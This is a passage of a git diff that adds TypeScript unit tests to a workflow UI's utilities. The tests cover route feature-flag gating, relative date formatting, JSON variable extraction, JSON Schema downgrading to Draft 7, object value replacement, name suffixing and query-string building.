pathFlagMapWithoutSKU is used. Paths + // not explicitly listed there fall through to the "/" catch-all → true. + // This means /secrets, /configure-webhook etc. are accessible in non-SKU mode. + it("/secrets is accessible when SKU_ENABLED is false (falls through to catch-all)", () => { + expect(checkPathFlag("/secrets")).toBe(true); + }); + + // /human IS listed in pathFlagMapWithoutSKU, gated by HUMAN_TASK flag (false in mock) + it("/human is blocked when HUMAN_TASK flag is disabled (even without SKU)", () => { + expect(checkPathFlag("/human")).toBe(false); + }); + + // /integrations IS listed in pathFlagMapWithoutSKU, gated by INTEGRATIONS flag (false) + it("/integrations is blocked when INTEGRATIONS flag is disabled (even without SKU)", () => { + expect(checkPathFlag("/integrations")).toBe(false); + }); + }); +}); diff --git a/ui-next/src/utils/__tests__/date.test.ts b/ui-next/src/utils/__tests__/date.test.ts new file mode 100644 index 0000000..cb9b3ad --- /dev/null +++ b/ui-next/src/utils/__tests__/date.test.ts @@ -0,0 +1,51 @@ +import { printableUpdatedTime } from "utils/date"; + +describe("printableUpdatedTime", () => { + afterEach(() => { + vi.useRealTimers(); // restore real timers after each test + }); + + it('should return "0" if updatedTimeInMillis is null', () => { + const result = printableUpdatedTime(null as unknown as number); + expect(result).toBe("0 minutes ago"); + }); + + it('should return "0" if updatedTimeInMillis is 0', () => { + const result = printableUpdatedTime(0); + expect(result).toBe("0 minutes ago"); + }); + + it("should handle time difference in minutes", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date(2024, 9, 1, 12, 0, 0)); // Set a fixed date + const result = printableUpdatedTime(new Date(2024, 9, 1, 11, 58).getTime()); // 2 minutes ago + expect(result).toBe("2 minutes ago"); + }); + + it("should handle time difference in days", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date(2024, 9, 10, 12, 0, 0)); // Set a fixed date + const result = printableUpdatedTime( + new Date(2024, 9, 5, 12, 0, 0).getTime(), + ); // 5 days ago + expect(result).toBe("5 days ago"); + }); + + it("should handle time difference in months", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date(2024, 9, 1, 12, 0, 0)); // Set a fixed date + const result = printableUpdatedTime( + new Date(2024, 6, 1, 12, 0, 0).getTime(), + ); // 3 months ago + expect(result).toBe("3 months ago"); + }); + + it("should handle time difference in years", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date(2024, 9, 1, 12, 0, 0)); // Set a fixed date + const result = printableUpdatedTime( + new Date(2022, 9, 1, 12, 0, 0).getTime(), + ); // 2 years ago + expect(result).toBe("about 2 years ago"); + }); +}); diff --git a/ui-next/src/utils/__tests__/json.test.ts b/ui-next/src/utils/__tests__/json.test.ts new file mode 100644 index 0000000..f14e541 --- /dev/null +++ b/ui-next/src/utils/__tests__/json.test.ts @@ -0,0 +1,1098 @@ +import { extractVariablesFromJSON, downgradeSchemaToDraft7 } from "utils/json"; +import { isJSONSchemaValid } from "utils/jsonSchema"; + +const json = { + uri: "${workflow.input.pepe}", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: "3000", + accept: "application/json", + contentType: "application/json", +}; + +const emptyJson = { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: "3000", + accept: "application/json", + contentType: "application/json", +}; + +const nestedJson = { + uri: "${workflow.input.pepe}", + method: "GET", + headers: { + accept: "${workflow.input.pepe1}", + }, + connectionTimeOut: 3000, + readTimeOut: "3000", + accept: "application/json", + contentType: "application/json", +}; + +describe("Extract json variables", () => { + it("should return all variables from json", () => { + const expected = { uri: "workflow.input.pepe" }; + expect(extractVariablesFromJSON(json)).toEqual(expected); + }); + + it("should return empty object if no variables present in the json", () => { + expect(extractVariablesFromJSON(emptyJson)).toEqual({}); + }); + + it("should return all variables from json with headers.accept", () => { + const expected = { + uri: "workflow.input.pepe", + "headers.accept": "workflow.input.pepe1", + }; + expect(extractVariablesFromJSON(nestedJson)).toEqual(expected); + }); +}); + +describe("downgradeSchemaToDraft7", () => { + describe("input validation", () => { + it("should return empty object for null input", () => { + expect(downgradeSchemaToDraft7(null as any)).toEqual({}); + }); + + it("should return empty object for undefined input", () => { + expect(downgradeSchemaToDraft7(undefined as any)).toEqual({}); + }); + + it("should return empty object for non-object input", () => { + expect(downgradeSchemaToDraft7("string" as any)).toEqual({}); + expect(downgradeSchemaToDraft7(123 as any)).toEqual({}); + expect(downgradeSchemaToDraft7(true as any)).toEqual({}); + }); + + it("should return array as-is for array input", () => { + const array = [{ type: "string" }]; + expect(downgradeSchemaToDraft7(array as any)).toEqual(array); + }); + }); + + describe("schema version conversion", () => { + it("should convert Draft 2019-09 schema to Draft 7", () => { + const schema = { + $schema: "https://json-schema.org/draft/2019-09/schema", + type: "object", + properties: { + name: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.properties).toEqual(schema.properties); + }); + + it("should convert Draft 2020-12 schema to Draft 7", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "string", + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("string"); + }); + + it("should return Draft 7 schema as-is", () => { + const schema = { + $schema: "http://json-schema.org/draft-07/schema#", + type: "object", + properties: { + name: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result).toEqual(schema); + // Function returns original schema when no changes are needed (performance optimization) + expect(result).toBe(schema); + }); + + it("should convert Draft 6 schema to Draft 7", () => { + const schema = { + $schema: "http://json-schema.org/draft-06/schema#", + type: "string", + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("string"); + // Should be a copy, not the original + expect(result).not.toBe(schema); + }); + + it("should convert Draft 4 schema to Draft 7", () => { + const schema = { + $schema: "http://json-schema.org/draft-04/schema#", + type: "object", + properties: { + name: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.properties).toEqual(schema.properties); + // Should be a copy, not the original + expect(result).not.toBe(schema); + }); + + it("should handle schema without $schema field but with newer keywords", () => { + const schema = { + type: "object", + properties: { + name: { type: "string" }, + }, + $defs: { + address: { type: "object" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.definitions).toBeDefined(); + }); + + it("should add $schema to Draft 7 when missing, even with no newer keywords", () => { + const schema = { + type: "object", + properties: { + name: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + // Should add $schema for JsonForms compatibility even if no newer keywords + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.properties).toEqual(schema.properties); + // Should be a copy, not the original + expect(result).not.toBe(schema); + }); + }); + + describe("$defs to definitions conversion", () => { + it("should convert $defs to definitions", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + $defs: { + address: { + type: "object", + properties: { + street: { type: "string" }, + }, + }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$defs).toBeUndefined(); + expect(result.definitions).toBeDefined(); + expect(result.definitions.address).toEqual(schema.$defs.address); + }); + + it("should merge $defs into existing definitions", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + definitions: { + existing: { type: "string" }, + }, + $defs: { + newDef: { type: "number" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.definitions.existing).toBeDefined(); + expect(result.definitions.newDef).toBeDefined(); + expect(result.$defs).toBeUndefined(); + }); + + it("should process nested $defs recursively", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + $defs: { + address: { + type: "object", + $defs: { + nested: { type: "string" }, + }, + }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.definitions.address.definitions).toBeDefined(); + expect(result.definitions.address.definitions.nested).toBeDefined(); + expect(result.definitions.address.$defs).toBeUndefined(); + }); + }); + + describe("$ref updates", () => { + it("should update $ref from $defs to definitions", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + address: { $ref: "#/$defs/address" }, + }, + $defs: { + address: { type: "object" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.properties.address.$ref).toBe("#/definitions/address"); + expect(result.definitions.address).toBeDefined(); + }); + + it("should not modify $ref that doesn't reference $defs", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + address: { $ref: "#/definitions/address" }, + }, + definitions: { + address: { type: "object" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.properties.address.$ref).toBe("#/definitions/address"); + }); + }); + + describe("unsupported keywords removal", () => { + it("should remove unevaluatedProperties", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + unevaluatedProperties: false, + properties: { + name: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.unevaluatedProperties).toBeUndefined(); + expect(result.properties).toBeDefined(); + }); + + it("should remove unevaluatedItems", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "array", + unevaluatedItems: false, + items: { type: "string" }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.unevaluatedItems).toBeUndefined(); + expect(result.items).toBeDefined(); + }); + + it("should remove dependentRequired", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + dependentRequired: { + credit_card: ["billing_address"], + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.dependentRequired).toBeUndefined(); + }); + + it("should remove dependentSchemas", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + dependentSchemas: { + credit_card: { type: "object" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.dependentSchemas).toBeUndefined(); + }); + + it("should remove $anchor, $dynamicAnchor, and $dynamicRef", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + $anchor: "myAnchor", + $dynamicAnchor: "myDynamicAnchor", + $dynamicRef: "#myDynamicAnchor", + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$anchor).toBeUndefined(); + expect(result.$dynamicAnchor).toBeUndefined(); + expect(result.$dynamicRef).toBeUndefined(); + }); + + it("should remove minContains and maxContains", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "array", + contains: { type: "string" }, + minContains: 2, + maxContains: 5, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.minContains).toBeUndefined(); + expect(result.maxContains).toBeUndefined(); + expect(result.contains).toBeDefined(); + }); + }); + + describe("nested schema processing", () => { + it("should process nested properties", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + user: { + type: "object", + properties: { + name: { type: "string" }, + address: { $ref: "#/$defs/address" }, + }, + }, + }, + $defs: { + address: { type: "object" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.properties.user.properties.address.$ref).toBe( + "#/definitions/address", + ); + expect(result.definitions.address).toBeDefined(); + }); + + it("should process items (single schema)", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "array", + items: { + type: "object", + $defs: { + nested: { type: "string" }, + }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.items.definitions).toBeDefined(); + expect(result.items.$defs).toBeUndefined(); + }); + + it("should process items (array of schemas)", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "array", + items: [ + { + type: "object", + $defs: { nested: { type: "string" } }, + }, + { type: "string" }, + ], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.items[0].definitions).toBeDefined(); + expect(result.items[0].$defs).toBeUndefined(); + expect(result.items[1].type).toBe("string"); + }); + + it("should process allOf", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + allOf: [ + { + type: "object", + $defs: { nested: { type: "string" } }, + }, + { type: "object", properties: { name: { type: "string" } } }, + ], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.allOf[0].definitions).toBeDefined(); + expect(result.allOf[0].$defs).toBeUndefined(); + expect(result.allOf[1].properties).toBeDefined(); + }); + + it("should process anyOf", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + anyOf: [ + { type: "string" }, + { + type: "object", + unevaluatedProperties: false, + }, + ], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.anyOf[0].type).toBe("string"); + expect(result.anyOf[1].unevaluatedProperties).toBeUndefined(); + }); + + it("should process oneOf", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + oneOf: [{ type: "string" }, { type: "number" }], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.oneOf).toHaveLength(2); + expect(result.oneOf[0].type).toBe("string"); + expect(result.oneOf[1].type).toBe("number"); + }); + + it("should process not", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + not: { + type: "object", + $defs: { nested: { type: "string" } }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.not.definitions).toBeDefined(); + expect(result.not.$defs).toBeUndefined(); + }); + + it("should process if/then/else", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + if: { + type: "object", + properties: { type: { const: "user" } }, + }, + then: { + type: "object", + $defs: { userSchema: { type: "object" } }, + }, + else: { + type: "object", + unevaluatedProperties: false, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.then.definitions).toBeDefined(); + expect(result.then.$defs).toBeUndefined(); + expect(result.else.unevaluatedProperties).toBeUndefined(); + }); + + it("should process patternProperties", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + patternProperties: { + "^S_": { + type: "string", + $defs: { nested: { type: "string" } }, + }, + "^I_": { type: "integer" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.patternProperties["^S_"].definitions).toBeDefined(); + expect(result.patternProperties["^I_"].type).toBe("integer"); + }); + + it("should process additionalProperties (schema object)", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + additionalProperties: { + type: "string", + $defs: { nested: { type: "string" } }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.additionalProperties.definitions).toBeDefined(); + }); + }); + + describe("complex nested scenarios", () => { + it("should handle deeply nested schemas", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + user: { + type: "object", + properties: { + profile: { + type: "object", + allOf: [ + { + type: "object", + $defs: { + deep: { + type: "object", + properties: { + nested: { + $ref: "#/$defs/deep", + unevaluatedProperties: false, + }, + }, + }, + }, + }, + ], + }, + }, + }, + }, + $defs: { + topLevel: { type: "string" }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.definitions.topLevel).toBeDefined(); + expect( + result.properties.user.properties.profile.allOf[0].definitions, + ).toBeDefined(); + expect( + result.properties.user.properties.profile.allOf[0].definitions.deep + .properties.nested.unevaluatedProperties, + ).toBeUndefined(); + }); + + it("should handle schema with all major features", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + name: { type: "string" }, + items: { + type: "array", + items: { $ref: "#/$defs/item" }, + unevaluatedItems: false, + }, + }, + allOf: [ + { type: "object" }, + { + anyOf: [{ type: "object", properties: { x: { type: "number" } } }], + }, + ], + $defs: { + item: { + type: "object", + properties: { + value: { type: "string" }, + }, + unevaluatedProperties: false, + }, + }, + unevaluatedProperties: false, + dependentRequired: { x: ["y"] }, + minContains: 1, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.definitions.item).toBeDefined(); + expect(result.$defs).toBeUndefined(); + expect(result.properties.items.items.$ref).toBe("#/definitions/item"); + expect(result.unevaluatedProperties).toBeUndefined(); + expect(result.unevaluatedItems).toBeUndefined(); + expect(result.dependentRequired).toBeUndefined(); + expect(result.minContains).toBeUndefined(); + expect(result.definitions.item.unevaluatedProperties).toBeUndefined(); + }); + }); + + describe("edge cases", () => { + it("should handle empty objects", () => { + const schema = {}; + const result = downgradeSchemaToDraft7(schema); + // Empty object with no newer keywords should be returned as-is + expect(result).toEqual({ + $schema: "http://json-schema.org/draft-07/schema#", + }); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + }); + + it("should handle empty objects with newer keywords", () => { + const schema = { + $defs: { + test: { type: "string" }, + }, + }; + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.definitions).toBeDefined(); + }); + + it("should handle empty arrays in nested keys", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + allOf: [], + anyOf: [], + oneOf: [], + items: [], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.allOf).toEqual([]); + expect(result.anyOf).toEqual([]); + expect(result.oneOf).toEqual([]); + expect(result.items).toEqual([]); + }); + + it("should handle null values in nested keys", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + properties: null, + items: null, + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.properties).toBeNull(); + expect(result.items).toBeNull(); + }); + + it("should not mutate original schema", () => { + const schema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + $defs: { + test: { type: "string" }, + }, + unevaluatedProperties: false, + }; + + const originalSchema = JSON.parse(JSON.stringify(schema)); + downgradeSchemaToDraft7(schema); + + // Original should be unchanged + expect(schema.$defs).toBeDefined(); + expect(schema.unevaluatedProperties).toBe(false); + expect(schema).toEqual(originalSchema); + }); + }); + + describe("real-world example schemas", () => { + it("should downgrade schema with teamId and first properties", () => { + const schema = { + additionalProperties: true, + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + teamId: { + type: "string", + description: "Team ID to filter projects by", + }, + first: { + type: "integer", + format: "int32", + description: "Maximum number of results (default 50)", + }, + }, + required: [], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.additionalProperties).toBe(true); + expect(result.properties.teamId).toEqual(schema.properties.teamId); + expect(result.properties.first).toEqual(schema.properties.first); + expect(result.required).toEqual([]); + }); + + it("should downgrade schema with merge request properties", () => { + const schema = { + additionalProperties: true, + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + shouldRemoveSourceBranch: { + type: "boolean", + description: "Should remove source branch after merge", + }, + mrIid: { + type: "integer", + format: "int32", + description: "Merge request IID", + }, + mergeCommitMessage: { + type: "string", + description: "Merge commit message", + }, + projectId: { + type: "string", + description: "Project ID or path", + }, + }, + required: ["projectId", "mrIid"], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.type).toBe("object"); + expect(result.additionalProperties).toBe(true); + expect(result.properties.shouldRemoveSourceBranch).toEqual( + schema.properties.shouldRemoveSourceBranch, + ); + expect(result.properties.mrIid).toEqual(schema.properties.mrIid); + expect(result.properties.mergeCommitMessage).toEqual( + schema.properties.mergeCommitMessage, + ); + expect(result.properties.projectId).toEqual(schema.properties.projectId); + expect(result.required).toEqual(["projectId", "mrIid"]); + }); + + it("should return Draft 7 schema as-is when already Draft 7", () => { + const schema = { + additionalProperties: true, + type: "object", + $schema: "http://json-schema.org/draft-07/schema#", + properties: { + limit: { + maximum: 100, + description: + "A limit on the number of objects to be returned. Limit can range between 1 and 100, and the default is 10.", + type: "integer", + minimum: 1, + }, + }, + }; + + const result = downgradeSchemaToDraft7(schema); + // Already Draft 7, should return as-is + expect(result).toBe(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.properties.limit).toEqual(schema.properties.limit); + }); + + it("should convert empty $defs to definitions and add Draft 7 schema", () => { + const schema = { + $defs: {}, + additionalProperties: true, + type: "object", + properties: { + start_cursor: { + type: "string", + description: + "If supplied, this endpoint will return a page of results starting after the cursor provided. If not supplied, this endpoint will return the first page of results.", + }, + block_id: { + type: "string", + description: "Identifier for a [block](ref:block)", + }, + page_size: { + format: "int32", + description: + "The number of items from the full list desired in the response. Maximum: 100", + default: 100, + type: "integer", + }, + }, + required: ["block_id"], + }; + + const result = downgradeSchemaToDraft7(schema); + expect(result.$schema).toBe("http://json-schema.org/draft-07/schema#"); + expect(result.$defs).toBeUndefined(); + expect(result.definitions).toBeDefined(); + expect(result.definitions).toEqual({}); + expect(result.type).toBe("object"); + expect(result.additionalProperties).toBe(true); + expect(result.properties.start_cursor).toEqual( + schema.properties.start_cursor, + ); + expect(result.properties.block_id).toEqual(schema.properties.block_id); + expect(result.properties.page_size).toEqual(schema.properties.page_size); + expect(result.required).toEqual(["block_id"]); + }); + }); + + describe("JsonForms compatibility", () => { + it("should produce valid Draft 7 schemas that pass isJSONSchemaValid", () => { + const schemas = [ + { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + name: { type: "string" }, + }, + }, + { + $schema: "https://json-schema.org/draft/2019-09/schema", + type: "object", + $defs: { + address: { type: "object" }, + }, + }, + { + type: "object", + $defs: { + test: { type: "string" }, + }, + }, + { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + teamId: { type: "string" }, + first: { type: "integer" }, + }, + unevaluatedProperties: false, + }, + { + $schema: "http://json-schema.org/draft-04/schema#", + type: "object", + properties: { + name: { type: "string" }, + }, + }, + { + $schema: "http://json-schema.org/draft-06/schema#", + type: "object", + properties: { + value: { type: "number" }, + }, + }, + ]; + + schemas.forEach((schema) => { + const downgraded = downgradeSchemaToDraft7(schema); + const isValid = isJSONSchemaValid(downgraded); + expect(isValid).toBe(true); + }); + }); + + it("should convert Draft 04 and Draft 06 schemas to Draft 7 for JsonForms compatibility", () => { + const draft04Schema = { + $schema: "http://json-schema.org/draft-04/schema#", + type: "object", + properties: { + name: { type: "string" }, + age: { type: "integer" }, + }, + required: ["name"], + }; + + const draft06Schema = { + $schema: "http://json-schema.org/draft-06/schema#", + type: "object", + properties: { + email: { type: "string", format: "email" }, + }, + }; + + const downgraded04 = downgradeSchemaToDraft7(draft04Schema); + const downgraded06 = downgradeSchemaToDraft7(draft06Schema); + + // Both should be Draft 7 + expect(downgraded04.$schema).toBe( + "http://json-schema.org/draft-07/schema#", + ); + expect(downgraded06.$schema).toBe( + "http://json-schema.org/draft-07/schema#", + ); + + // Both should pass JsonForms validation + expect(isJSONSchemaValid(downgraded04)).toBe(true); + expect(isJSONSchemaValid(downgraded06)).toBe(true); + }); + + it("should validate all real-world example schemas with JsonForms validator", () => { + const exampleSchemas = [ + { + additionalProperties: true, + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + teamId: { + type: "string", + description: "Team ID to filter projects by", + }, + first: { + type: "integer", + format: "int32", + description: "Maximum number of results (default 50)", + }, + }, + required: [], + }, + { + additionalProperties: true, + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + shouldRemoveSourceBranch: { + type: "boolean", + description: "Should remove source branch after merge", + }, + mrIid: { + type: "integer", + format: "int32", + description: "Merge request IID", + }, + mergeCommitMessage: { + type: "string", + description: "Merge commit message", + }, + projectId: { + type: "string", + description: "Project ID or path", + }, + }, + required: ["projectId", "mrIid"], + }, + { + $defs: {}, + additionalProperties: true, + type: "object", + properties: { + start_cursor: { + type: "string", + description: + "If supplied, this endpoint will return a page of results starting after the cursor provided. If not supplied, this endpoint will return the first page of results.", + }, + block_id: { + type: "string", + description: "Identifier for a [block](ref:block)", + }, + page_size: { + format: "int32", + description: + "The number of items from the full list desired in the response. Maximum: 100", + default: 100, + type: "integer", + }, + }, + required: ["block_id"], + }, + ]; + + exampleSchemas.forEach((schema) => { + const downgraded = downgradeSchemaToDraft7(schema); + const isValid = isJSONSchemaValid(downgraded); + expect(isValid).toBe(true); + }); + }); + + it("should handle complex nested schemas and validate with JsonForms", () => { + const complexSchema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + user: { + type: "object", + properties: { + name: { type: "string" }, + address: { $ref: "#/$defs/address" }, + }, + }, + items: { + type: "array", + items: { $ref: "#/$defs/item" }, + unevaluatedItems: false, + }, + }, + allOf: [ + { type: "object" }, + { + anyOf: [{ type: "object", properties: { x: { type: "number" } } }], + }, + ], + $defs: { + address: { + type: "object", + properties: { + street: { type: "string" }, + }, + unevaluatedProperties: false, + }, + item: { + type: "object", + properties: { + value: { type: "string" }, + }, + }, + }, + unevaluatedProperties: false, + dependentRequired: { x: ["y"] }, + minContains: 1, + }; + + const downgraded = downgradeSchemaToDraft7(complexSchema); + const isValid = isJSONSchemaValid(downgraded); + expect(isValid).toBe(true); + }); + + it("should validate schemas with all supported Draft 7 features", () => { + const draft7CompatibleSchema = { + $schema: "https://json-schema.org/draft/2020-12/schema", + type: "object", + properties: { + stringProp: { type: "string", minLength: 1, maxLength: 100 }, + numberProp: { type: "number", minimum: 0, maximum: 100 }, + integerProp: { type: "integer", multipleOf: 2 }, + booleanProp: { type: "boolean" }, + arrayProp: { + type: "array", + items: { type: "string" }, + minItems: 1, + maxItems: 10, + uniqueItems: true, + }, + objectProp: { + type: "object", + properties: { + nested: { type: "string" }, + }, + required: ["nested"], + }, + }, + required: ["stringProp"], + allOf: [{ type: "object" }], + anyOf: [{ type: "object" }], + oneOf: [{ type: "object" }], + not: { type: "null" }, + if: { properties: { type: { const: "conditional" } } }, + then: { properties: { value: { type: "string" } } }, + else: { properties: { value: { type: "number" } } }, + $defs: { + reusable: { type: "string" }, + }, + }; + + const downgraded = downgradeSchemaToDraft7(draft7CompatibleSchema); + const isValid = isJSONSchemaValid(downgraded); + expect(isValid).toBe(true); + }); + }); +}); diff --git a/ui-next/src/utils/__tests__/object.test.ts b/ui-next/src/utils/__tests__/object.test.ts new file mode 100644 index 0000000..100899c --- /dev/null +++ b/ui-next/src/utils/__tests__/object.test.ts @@ -0,0 +1,24 @@ +import { replaceValues } from "../object"; + +describe("replaceValues", () => { + it("should replace values in an object", () => { + const obj = { a: "a", b: "b", c: "c" }; + const expected = { a: "a", b: "b", c: "d" }; + expect(replaceValues(obj, "c", "d")).toEqual(expected); + }); + it("should replace values in an object with nested objects", () => { + const obj = { a: "a", b: "b", c: { d: "d", e: "e" } }; + const expected = { a: "a", b: "b", c: { d: "d", e: "f" } }; + expect(replaceValues(obj, "e", "f")).toEqual(expected); + }); + it("should replace values in an object with nested arrays", () => { + const obj = { a: "a", b: "b", c: ["d", "e"] }; + const expected = { a: "a", b: "b", c: ["d", "f"] }; + expect(replaceValues(obj, "e", "f")).toEqual(expected); + }); + it("should replace values in an object with nested arrays and objects", () => { + const obj = { a: "a", b: "b", c: ["d", { e: "e" }] }; + const expected = { a: "a", b: "b", c: ["d", { e: "f" }] }; + expect(replaceValues(obj, "e", "f")).toEqual(expected); + }); +}); diff --git a/ui-next/src/utils/__tests__/string.test.ts b/ui-next/src/utils/__tests__/string.test.ts new file mode 100644 index 0000000..ac9296e --- /dev/null +++ b/ui-next/src/utils/__tests__/string.test.ts @@ -0,0 +1,39 @@ +import { getSequentiallySuffix } from "utils/strings"; + +const cases = [ + { + name: "test", + refNames: ["test_1", "test_2", "test_12"], + expected: { + name: "test_3", + taskReferenceName: "test_3", + }, + }, + { + name: "task-name", + refNames: ["task-name_4", "task-name_5", "task-name_1"], + expected: { + name: "task-name_2", + taskReferenceName: "task-name_2", + }, + }, + { + name: "task-name", + refNames: [], + expected: { + name: "task-name", + taskReferenceName: "task-name", + }, + }, +]; + +describe("Get sequential name", () => { + test.each(cases)( + "given '$name' and $refNames as arguments, returns $expected", + ({ name, refNames, expected }) => { + const result = getSequentiallySuffix({ name, refNames }); + + expect(result).toMatchObject(expected); + }, + ); +}); diff --git a/ui-next/src/utils/__tests__/toMaybeQueryString.test.ts b/ui-next/src/utils/__tests__/toMaybeQueryString.test.ts new file mode 100644 index 0000000..b023593 --- /dev/null +++ b/ui-next/src/utils/__tests__/toMaybeQueryString.test.ts @@ -0,0 +1,38 @@ +import { urlWithQueryParameters } from "../toMaybeQueryString"; + +describe("urlWithQueryParameters", () => { + it("should append query parameters with ? when URL has no existing parameters", () => { + const url = "https://example.com/api"; + const params = { key: "value", another: "param" }; + expect(urlWithQueryParameters(url, params)).toBe( + "https://example.com/api?key=value&another=param", + ); + }); + + it("should append query parameters with & when URL already has parameters", () => { + const url = "https://example.com/api?existing=true"; + const params = { key: "value", another: "param" }; + expect(urlWithQueryParameters(url, params)).toBe( + "https://example.com/api?existing=true&key=value&another=param", + ); + }); + + it("should handle empty parameters object", () => { + const url = "https://example.com/api"; + const params = {}; + expect(urlWithQueryParameters(url, params)).toBe("https://example.com/api"); + }); + + it("should handle undefined values in parameters", () => { + const url = "https://example.com/api"; + const params = { key: "value", empty: undefined }; + expect(urlWithQueryParameters(url, params)).toBe( + "https://example.com/api?key=value", + ); + }); + it("should handle empty url", () => { + const url = ""; + const params = {}; + expect(urlWithQueryParameters(url, params)).toBe(""); + }); +}); diff --git a/ui-next/src/utils/__tests__/typeHelpers.test.ts b/ui-next/src/utils/__tests__/typeHelpers.test.ts new file mode 100644 index 0000000..051b969 --- /dev/null +++ b/ui-next/src/utils/__tests__/typeHelpers.test.ts @@ -0,0 +1,154 @@ +import { + FIELD_TYPE_BOOLEAN, + FIELD_TYPE_NULL, + FIELD_TYPE_NUMBER, + FIELD_TYPE_OBJECT, + FIELD_TYPE_STRING, +} from "types/common"; +import 